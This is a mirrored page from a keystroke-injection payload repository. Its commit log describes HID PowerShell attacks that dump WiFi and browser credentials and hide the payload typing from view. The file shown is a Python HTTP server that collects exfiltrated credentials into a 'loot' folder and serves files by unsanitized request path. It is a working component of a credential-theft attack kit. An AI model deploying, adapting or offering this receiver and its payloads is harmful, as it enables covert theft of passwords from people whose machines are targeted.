mirror of
https://github.com/hak5/bashbunny-payloads.git
synced 2025-10-29 16:58:25 +00:00
* Initial commit HID Powershell attack to dump WiFiCreds * Update readme.md * changed initial LED blink color to white * Changed initial LED color to white * Changed initial LED Color to white * swapped sync before LED * switched from powershell to batch * Update payload.txt * using powershell again , updated version and LEDs * using powershell, added usb eject, Win 7,8,10 * added window resizing to hide payload typing * Update payload.txt * pull request * BrowserCreds Pull * separate powershell script called from payload also added result detection * update LEDs * Update payload.txt * initial commit * Update payload.txt * initial pull * initial commit
60 lines
1.8 KiB
Python
60 lines
1.8 KiB
Python
import os
|
|
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
|
|
|
|
|
|
IS_RUNNING = True
|
|
abspath = os.path.abspath(__file__)
|
|
CURR_DIR = os.path.dirname(abspath)
|
|
os.chdir(CURR_DIR)
|
|
|
|
class RequestServer(BaseHTTPRequestHandler):
|
|
def _set_headers(self):
|
|
self.send_response(200, "ok")
|
|
self.send_header('Content-type', 'text/plain')
|
|
self.protocol_version = 'HTTP/1.1'
|
|
|
|
def do_GET(self):
|
|
self.send_response(200, "ok")
|
|
self.send_header("Content-type", "text/plain")
|
|
self.end_headers()
|
|
try:
|
|
with open(CURR_DIR + self.path, 'r+') as f:
|
|
data = f.read()
|
|
self.wfile.write(data)
|
|
except IOError:
|
|
self.send_response(404)
|
|
self.wfile.write(CURR_DIR)
|
|
return
|
|
|
|
def do_POST(self):
|
|
global IS_RUNNING
|
|
|
|
self.send_response(200)
|
|
self.send_header("Content-type", "text/plain")
|
|
self.end_headers()
|
|
content_length = int(self.headers['Content-Length'])
|
|
filename = self.path[1:]
|
|
|
|
if filename == 'EOF':
|
|
data = self.rfile.read(content_length)
|
|
with open(CURR_DIR + "/loot/{}".format(filename), "w+") as f:
|
|
f.write(data)
|
|
f.close()
|
|
self.end_headers()
|
|
IS_RUNNING = False
|
|
else:
|
|
data = self.rfile.read(content_length)
|
|
with open(CURR_DIR + "/loot/{}.txt".format(filename), "w+") as f:
|
|
f.write(data)
|
|
f.close()
|
|
self._set_headers()
|
|
|
|
def run(server_class=HTTPServer, handler_class=RequestServer, port=80):
|
|
server_address = ('', port)
|
|
httpd = server_class(server_address, handler_class)
|
|
|
|
while IS_RUNNING:
|
|
httpd.handle_request()
|
|
|
|
if __name__ == '__main__':
|
|
run() |